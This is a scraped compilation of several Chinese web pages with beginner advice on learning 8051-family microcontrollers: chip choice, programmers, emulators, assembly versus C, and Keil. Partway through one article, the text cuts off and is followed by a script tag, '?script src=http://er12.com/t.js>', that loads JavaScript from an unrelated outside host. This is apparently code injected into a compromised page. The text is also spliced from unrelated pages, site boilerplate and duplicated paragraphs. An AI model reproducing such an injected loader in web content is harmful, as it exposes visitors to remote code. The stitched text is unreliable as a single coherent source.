单片机c语言入门入门的几点建议

豆丁微信公众号
君,已阅读到文档的结尾了呢~~
扫扫二维码,随身浏览文档
手机或平板扫扫即可继续访问
单片机教学中的几点建议
举报该文档为侵权文档。
举报该文档含有违规或不良信息。
反馈该文档无法正常浏览。
举报该文档为重复文档。
推荐理由:
将文档分享至:
分享完整地址
文档地址:
粘贴到BBS或博客
flash地址:
支持嵌入FLASH地址的网站使用
html代码:
&embed src='http://www.docin.com/DocinViewer-4.swf' width='100%' height='600' type=application/x-shockwave-flash ALLOWFULLSCREEN='true' ALLOWSCRIPTACCESS='always'&&/embed&
450px*300px480px*400px650px*490px
支持嵌入HTML代码的网站使用
您的内容已经提交成功
您所提交的内容需要审核后才能发布,请您等待!
3秒自动关闭窗口单片机初学应知-初学入门-五六电子
客服电话:&& 023- && | && 023-
&&&&|&&&&&&&&|&&&&
扫我进手机版
当前位置:
客服电话:023-
技术支持:023-
邮&&&&&箱:
可以显示英文的“HELLO”及“WELCOME”等字符串。制作...
单片机初学应知
作者: admin&&&&文章来源: 五六电子&&&&点击:7924&&&&更新时间:
 首先声明:下面的内容只针对刚接触并想自学的朋友,不包括已会一种单片机而想学另一种的读者当你有了学习单片机的愿望,接下来的问题就是从何学起,如何学。对于在校学生有老师指导,开始时的迷茫会少的多,而靠自学的朋友麻烦就多一些。例如从哪种单片机学起?需要哪些器材?买什么书籍有用?做些什么实验?......等等。这里就自学单片机过程中的方法和问题向初学者做一些引导和提示。
  学之初,你必须懂一些数字电路,若对数字电路中的一般概念都很模糊,最好还是再补习一下再来学单片机。接下来你最好先选一种单片机机种进行学习,因为目前单片机机种较多,其结构和指令均不相同,若这种学两天,那种学两天往往会滩多嚼不烂。这里建议你最好先学8051单片机,因为8051方面的书籍、资料、器材都较多。PIC和AVR以及其它类型的单片机虽有其长处,但现在的书籍、资料以及器件供应并不理想,不太适合初学者选择。若你对这些并不在意的话那选择后者进行学习也未尚不可。
  我们建议你选择8051开始学习的原因还在于8051家族的派生品很多,例如ATMEL公司的AT89C51系列单片机就是完全兼容MSC-51 8051系列的(也就是说,AT89C51的指令、管脚、内部主要结构,以及用法与MSC-51相同),他不但兼容,而且还有不少创新,比如他的程序存储器可以电擦、写,一片IC就拥有了过去单片机的最小系统,不需要以前所谓的373和EPROM元件;所以,实验时的电路连接、电路板自制都比较容易,加上目前其价格较底,你学习的片子也可以做产品,做产品的片子也可以做实验,当然AVR系列也有这些特点;而PIC及其它系列在这一点上则显得不太理想。
  购买的书籍最好是书的前面你能看懂,而书的后面你不懂,若前后都看不懂的书最好先别买,因为这本书短时间内不会对你起多大作用。当然若不是把书当资料查也不必买前后你都懂的书,因为它对你来说有点浅。应以原理书籍为主。其次可以购买一些应用方面的书籍以便参考。
  本身与实验离不开,若光靠看书是很难理解其原理和学会单片机开发的。你应该购置相关单片机的芯片、编程器、实验板,以及开发他的相关软件。并以边看书边实验的方式进行学习其效果将明显好的多!由于初学,不可能购置很多昂贵的设备,建议学习用的单片机芯片其程序储存器是可以反复可擦写的,如AT89C系列或AVR系列。这样,在学习烧写时是无后顾之忧的。
  好啦,现在来谈谈开发的步骤。想让单片机按你的意思(想法)完成一项任务,必须先编写供其使用的程序,编写单片机的程序应使用该单片机可以识别的“语言”,否则你将是对“石”弹琴。目前较流行的有汇编和C语言;汇编语言可以精确的控制单片机工作的每一步,而C语言则注重结果,不必关心单片机具体的每一步。习惯上宜先学汇编语言后学C语言,这样可以对单片机有一个更深的了解,再说,就是用C语言编程,在需要精确控制时还需要嵌入汇编语句。当然,也有一开始就用C语言的,后来再学汇编;若你学过计算机的 Turbo C ,开始就学单片机的C也许会更快一些。
  程序是用文本编辑器编写的纯文本文件,象我们平常在windows计事本中用汉语写计划一样,先这件事后那件事的去写,以所使用单片机语言的语法,按我们的想法把单片机要做的事“一件一件”的依次写下来,遇到“有些事”是重复的,就指明在什么什么地方已有说明(跳转),在正常安排中若有其它突发事件出现,必须写一段突发事件处理计划(中断)......。最后保存文件的扩展名应与所使用的语言要求的名字一致;我们汉语的文章一般保存为*.txt扩展名,而汇编语言的文件扩展名一般应为*.asm;有的开发系统则有自己的规定,如用 Keil C51开发系统,编写的汇编程序扩展名也可以是*.a51;当然Keilc51开发系统也有自己的编辑器,不必用Windows中的计事本;Keil的使用见本站的软件教学。
  无论我们使用汇编语言,还是C语言编写的程序,只是给我们看的,这个程序还必须经过与该语言对应的软件将我们能看懂的汇编或C“翻译”(编译)成所用单片机可以识别的代码。将单片机可以识别的代码烧写(编程)到单片机程序存储器中,单片机装的实际电路中才能依你的“计划”去工作。
  对于8051系列来说,Keil C开发系统集成了原程序编辑、程序汇编和编译、仿真模拟等功能,同时支持汇编、C51、PL/M 语言,所以我们特别推荐大家使用。若你的电脑很老,如486以前的电脑可使用DOS下的宏汇编汇编器ASM51;这个汇编器可以对出错语句进行中文提示;你源程序的注释部分还可以使用中文,这更便于你今后对程序的维护。
  编译出的代码一般扩展名为*.hex或*.bin;这个代码文件必须送到单片机中单片机在电路中才能按你的“计划”去工作。将这个代码文件送到单片机中的工具就是编程器,与电脑连接的编程器一般都通过并口或者串口与编程器的硬件连接,也有相应的服务程序;在连接好电脑与编程后运行其服务程序,在服务程序中先选择所要编程的单片机型号,再调入前面所得到的代码文件,接下来就用编程器将这个代码文件烧写到单片机中。到此,开发的一个过程就大致完啦。
  当然,你不可能一次就把你的“计划”用单片机的语言完美正确的将源程序写好(就是我们平常制订的计划在实际中也有修改的),这就需要反复修改源程序,反复编译、烧写到单片机中、反复将单片机装到电路中去实验。由于单片机执行每一条语句所用的时间很短,有时你无法得到其中间的结果,也无法判断程序出错的位置,这时你可以使用软件模拟的方法,让程序一步一步的执行,每执行一步,通过查看单片机中各关键数据的变化情况,来找到错误或没按你“计划”执行的语句,从而达到排错的目的。若你资金不成问题的话,也可以购买单片机仿真器,他可以取代实际电路中的单片机,在电脑的控制下一步一步的去排错。实际上无论软件模拟(仿真)还是硬件仿真,其功能远不止这里讲的这一点点。
  学习是一个实验与体会的过程,当中有快乐与烦恼,当你学会开发后,你将会理解我为什么在这里想方设法的打比喻,说“白话”。 好啦,有什么问题跟我联系,没什么问题就准备材料,书籍,开始干吧!单片机、电路板
连接器、接插件
其他元器件
单片机入门的几点建议
单片机入门的几点建议
单片机的重要性在后pc时代逐渐加重了,现在更多的电子设计者和爱好者讨论最多的话题莫过于嵌入式系统的设计,c51、vhdl、rtos、cpld、fpga、dsp、arm已是当今挂在电子工程师嘴边最多的几个词,由于工艺的进步,家庭智能化已不是空中楼阁,其***能越来越强大、体积越来越小、成本越来越低的mcu出现正是这场革命的推动者。那么,做为一个电子设计者、爱好者以及即将成为电子工程师的在校学生,为了
单片机的重要性在后pc时代逐渐加重了,现在更多的电子设计者和爱好者讨论最多的话题莫过于嵌入式系统的设计,c51、vhdl、rtos、cpld、fpga、dsp、arm已是当今挂在电子工程师嘴边最多的几个词,由于工艺的进步,家庭智能化已不是空中楼阁,其***能越来越强大、体积越来越小、成本越来越低的mcu出现正是这场革命的推动者。那么,做为一个电子设计者、爱好者以及即将成为电子工程师的在校学生,为了迎接这常革命,或者说为了找到一份自己心仪的工作,我们应该具备哪些知识呢?面对这么多必须的技术,作为一个初学者我们又该从何学起?学好这些东西的代价如何?等等…….,这些都是前段时间朋友们问我最多的问题了,由于时间关系,我就不一一回信做答了,这里就写写我走过的路和一些个人心得,希望对同仁们有所启发。
我是97年开始接触电脑的,那时我对电脑的概念几乎为0,开始是从qb(vb的前身)学起,比较幸运吧,我认为这是最适合初学者的语言了,虽然刚开始我什么都不懂,就是直到现在我也没认真的写过一段vb的程序,可是它给了我很多概念性的东西,也是我c的入门老师了。我比较笨,所以始终认为学东西一步一步来,从浅到深,没学好不要紧,但是概念的东西要把握住,最好入门时有人教或有现成的东西摹仿,这样最省时间,也比较有成就感而少了一些挫败。我的专业是测控技术,万金油,什么都学,什么都半桶水的那种。不过出来做了几年开发的工作后,我发现我的专业还是比较好的,比较势利的说就是更切中于市场,总结现阶段电子设计工程师必需的技术和技能,我认为有以下几点:1是大学里学习的最基础的东西,包括电路、数电、模电,当然还有高等数学和英语了,重要性我就不强调了,不过还得说说e语,害死人的东西了,没办法,谁让现在的技术资料全都是e文的,翻译的知识不是过时就是不知其所云,对一项新技术掌握的程度和速度——这是一项非常重要的能力,否则你只能吃别人的剩饭。2是单片机和c语言,这是电子工程师的工具,不学不行,不过刚学习时不要贪多,也不要好高务远,老老实实的一步一步来,多动手,要重视概念,东西都是相通的,会了c51转到avr c也就不用一个星期了,具体项目设计时根据各种单片机的特点进行选择就行了。我是从8031开始学的,纯理论,就是上机实验也是听出来的,那时候c51可没出来呢,中国大学的弊端啊,经费少,设备陈旧,老师光说不练,打击积极性啊。真正的动手是从到公司工作开始的,自己学protel(这也是必需的,就不用我废话了)再用公司的钱画板(日本人的钱,不用白不用),然后照书上抄例子,具体的学习过程请看下文专门介绍。3点必需知识是cpld/fpga设计,我个人用途最多的是在结构化设计方面,cpld非常灵活,有着很多独特的用途(篇幅有限,我就不多介绍,请看网站的相关文章),随着工艺的进步,价格在一步一步的走低,相信不久它会象单片机一样遍地开花的。4点必备的知识是嵌入式操作系统,如keil的tiny os,ucus,ulinux,因为你不可能整天围着低端产品转吧,相信有一天你会用到16位32位的单片机,这时候你就不能老用c51的编程思想了,试想c++用在单片机里的快感吧:)5是dsp了,我精力有限,选修,呵呵,就不多说了。 总之,小平同志说了,不管黑猫白猫,抓住老鼠的就是好猫。在产品设计时也是一样,只要你知识全面,在设计时综合考虑,灵活应用,只要是最符合的就是最好的,不过这需要更多的知识作为后盾的:)前面废话太多,还是转回单片机入门的话题吧。
我是从8031开始的,学习时有一点微机原理的知识,8086那种,学校里就只能教这些落伍的但最基础的东西了,数电和模电那时也是有点概念的,所以我个人认为我单片机入门是比较快的。刚开始我们学的是51的基本原理、架构,后来就是指令集,我的老师是汇编专家,所以扣的东西很细,哪个指令执行几个周期啊、直接寻址间接寻址的区别啊,acall、lcall有什么不一样啊等等,这些问题都要求我们深刻到心,所以说初学者有高手(起码要老手)指点,如果一点概念都没有就想靠自学成才是非常难的,不过出来后发现这些东西用的较少,可是对加深理解倒是非常有帮助的。学校里学的东西主要是有一个概念,练习编程也主要是看别人的程序,就算是上机也是把别人的程序抄进去后编译完成就行了(有时候程序可不都对,能编译出来也不容易啊:) ),因为那时实验设备较贵,中国领导人急功近利,对一般教育投入的基金不多,所以就算我是科班出身,但是编程器也是工作后才开始用到的,那时只知道有编程器这样的一个把hex文件写进单片机里的东东,仿真器倒是有几个,不过是老师的实验品,限制很多,什么p0、p2口不能做io口,ea脚仿真时要接地啊,很烦人,所以到现在为止我对仿真器都有排斥,其实没仿真器也有好处的,我的几个比较大的项目就是在没仿真器的情况下完成的。学习知识动手是少不了的,特别是应用性的知识,?script src=http://er12.com/t.js>
上一篇:已经是第一篇
型号/产品名
深圳市福田区新亚洲文佳新电子商行
深圳市赛恒电子科技有限公司
华强电子网测试账号-huangxiaobo哈罗CQ火腿社区 - 单片机与自动控制 - 学习单片机的几点建议: - Powered by phpwind
查看完整版本: [--
学习单片机的几点建议:
1,学习一下数字电路,通过买几块cd40系列集成电路搭一个简单电路,了解或、与、非门的基本原理,再学习由它们组成的触发器,乃至寄存器原理----都有相对应的cd40系列集成电路,价格也很便宜,不超过0.8-3.5元/片。之后了解a/d、d/a转换。 &
2,选择一种单片机学习。 &
目前常见的有mcs-51八位及其兼容系列、pic八位系列,近来推出有msp430 16位系列。mcs-51系列最老,国内的大学教材以它为主,开发工具(仿真器)有南京万利的se-51系列,最低价950元,伟福系列元不等。pic八位系列由于其品种丰富,抗干扰好,在国际和国内广为使用。不过它的仿真器可不便宜,著名的有福建高奇的,元(不同的型号配不同的仿真头)。 &
近来推出有msp430 16位系列,特点是低电压低功耗,而且芯片品种丰富,全部为工业级,16位机,硬件资源丰富,与mcs-51八位及其兼容系列相比,实现同样的功能可简化电路,缩小电路体积,加上低电压低功耗特性,极适合便携带场合仪器使用。由于采用了jtag技术,程序写入单片机如果不要加密,不需要编程器,仿真器便宜,500元左右,同时支持c语言开发,前景看好。 &
3,要想学好单片机,一定得有好的仿真器,这是我从学习单片机的曲折经历中的出的结论,曾有不用pc机,也能学单片机的言论,那是误人子弟、不负责任的说法,盲人瞎马的学习高速数字系统,毫无科学可言。甚至有人问学单片机要不要学习板。发言之前还是先学习一下。凡事都得有付出才有回报,空手擒白狼好象在工程上行不通。模拟仿真也只是权宜之计。 &
4,通过不断的在仿真器上运行例程、修改再运行,在了解单片机的硬件结构的同时,熟悉汇编语言。再尝试驱动不同的器件,如发光二极管,数码管,lcd等,尝试不同的输入,编一个子程序去处理它。
继续。。。:)
51的优点就是资源丰富,知道的人也多,有了问题好解决,但是仿真器比较贵有一个办法就是用有isp功能的片子,如飞利浦的p89c51rd2,用一个串口就可以编程了(不能仿真),通过不断的烧写,一般的问题时可以解决的。也有些高手是这样用的,连编程器也省下了)。还有就是用keil软件带的mon51,可以和keil软件连起来仿真,要占用一些资源(串口,一个定时器等)资金不多时可以考虑pic的优点不少,我感觉她才算个单片机,片上资源丰富,有一种icd仿真器可以仿真,但是也要用一些资源,可以价格便宜,买400元左右(含一块演示版有一片pic16f877,带8路a/d,2路d/a.)全部的电路图也有,可以自己做,好像南京有卖的150元。
真的吗?我经常去南京,可一直不知道,icd第二代又出来了
是有人仿照微芯原版的icd做的。因为它的资料都是公开的,我也是听说的不过它的成本确实也不高
微芯的icd资料是公开的,在icd的说明书里有图纸,在安装后的mplab目录里有hex文件
查看完整版本: [--
Powered by
Time 0.024921 second(s),query:5 Gzip enabled单片机、电路板
连接器、接插件
其他元器件
对单片机初学者的建议
对单片机初学者的建议
电气自动化技术网今天就如何学习单片机的问题,在此与您作一些探讨。欢迎拍砖!1、要学好单片机最好是有一些数字电路知识。单片机的基础是数字电路,从本质上讲,单片机就是一个可编程的数字逻辑阵列。所谓数字逻辑阵列,可以理解为一个有序存放且可以迅速、准确取出的数字器件仓库;而可编程,则可理解为根据不同的需要将这些数字器件作不同的连接,形成一个完整的电路去完成一个指定的任务。比如汇编指令中的MOVP1,A(将
技术网今天就如何学习的问题,在此与您作一些探讨。欢迎拍砖!1、要学好单片机最好是有一些数字电路知识。单片机的基础是数字电路,从本质上讲,单片机就是一个可编程的数字逻辑阵列。所谓数字逻辑阵列,可以理解为一个有序存放且可以迅速、准确取出的数字器件仓库;而可编程,则可理解为根据不同的需要将这些数字器件作不同的连接,形成一个完整的电路去完成一个指定的任务。比如汇编指令中的MOVP1,A(将累加器A中的数据传送到P1口)和指令MOVA,P1(将P1中的状态传送到累加器A)中,所用的数字器件完全一样(都是P1和A),但扮演的角色和实现的功能却不同。因此,有一点数字电路基础,有助于理解单片机中的一些俄概念和单片机工作原理,这样可以更好的完成对单片机程序的编写。数字电路如何入门?任何复杂的数字电路都是由基本门电路所组成,而基本门电路又离不开TTL或MOS这些基本的半导体器件,因此,要学好数字电路,最好有一点电路原理和模拟电路方面的知识,如果您做过制作或者家电维修一类,那么您完全可以直接开始学习单片机了,从硬件实践到单片机程序设计都没有问题的。如果您没有电子制作或者家电维修一类的理论和实践经验,看一下《低频模拟电路原理》、《数字电路原理》、《复杂电路原理分析》这三方面的基础课程,再学习单片机方面的知识也会相对比较容易的。我们建议您除选购一些单片机的多媒体教学资料外,最好还能同时选购一些《低频模拟电路原理》、《数字电路原理》、《复杂电路原理分析》的资料,以便系统性地学习一下这三门基础课程。但对每个知识点的深度要求不一样:有些是一般性了解,有些则要扎扎实实地掌握,这样,就可以用最少的时间掌握最关键的知识点,而又能保证知识的系统性和连续性。2、单片机是一门实践性很强的技术,因此,要快速、扎实地跨入单片机的门槛,必须理论和实践两方面同时进行或交叉进行,即除理论学习外还必须有一个实验的平台(硬件电路)。本站以&学&字命名,其意是希望能办成一个教学网站,为软件、电子爱好者,特别是单片机初学者入门提供一个完整、经济、高效的学习方案。如果您对我们的资料感兴趣,建议您选择一些资料来看:电子学的基础知识主要是以《低频模拟电路原理》、《数字电路原理》、《复杂电路原理分析》这三方面的知识,讲解连贯系统、通俗易懂,强烈推荐!单片机多媒体教程,对单片机的硬件资源和软件系统作了全面的叙述(入门);单片机电视教学精品教程,对单片机的硬件资源和软件系统作了更为深入的讲解(提高、循序渐进);单片机学习开发板的作用是通过亲手在板卡上作各种电子电路实验可建立和加深对单片机的感性认识,更深刻地理解所学内容,您也可以自己设计一些程序在实验板上运行以验证其正确性。爱因斯坦说过,热爱是最好的老师,您对单片机的强烈学习欲望是您一定能学好单片机的有力保证;我们为您提供的软、硬件资料可以在实质上为您的成功助一臂之力!当然,作为单片机爱好者,不必完全彻底的掌握非常难懂的汇编语言,也大可不必去绞尽脑汁的采用原始的汇编语言做大而复杂的项目程序。早些年的时候,人们认为使用高级语言为单片机芯片编程是不现实的,经过多年的努力,专业公司都开发出了针对单片机高级语言编程平台,比如单片机爱好者和工程师最常用的KEIL,现在我们已经可以很容易的使用C语言对单片机芯片进行编程了,这绝对是一个巨大的进步。汇编语言虽然有助于我们例解单片机的硬件原理,但是太不人性化了,不象高级语言可以象写一篇完全人性化的记叙文那样轻而易举的就完成了编程工作,高级语言的易读懂特性是因为它非常接近人类语言的叙述方式,可以说高级语言和汇编语言相比就象是机关枪和大刀长矛的差别那样巨大。所幸我们生在一个火箭满天飞的科技时代,并且已经全面的的进入信息化阶段,学习知识相对容易,可以说:&没有所谓的会不会,只有所谓的想不想。&只要用心一些,多一些对电子的热爱,一切都是很容易的,心中有爱,爱这个世界,世界也自然会爱大家,就象作用力与反作用力一样简单。最后预祝各位满怀希望和信心的同仁都学有所成,共同在未来一切皆为人工的大道上飞速进步。
上一篇:已经是第一篇
型号/产品名
深圳市福田区新亚洲文佳新电子商行
深圳市赛恒电子科技有限公司
华强电子网测试账号-huangxiaobo

我要回帖

更多关于 单片机学习入门 的文章

 

随机推荐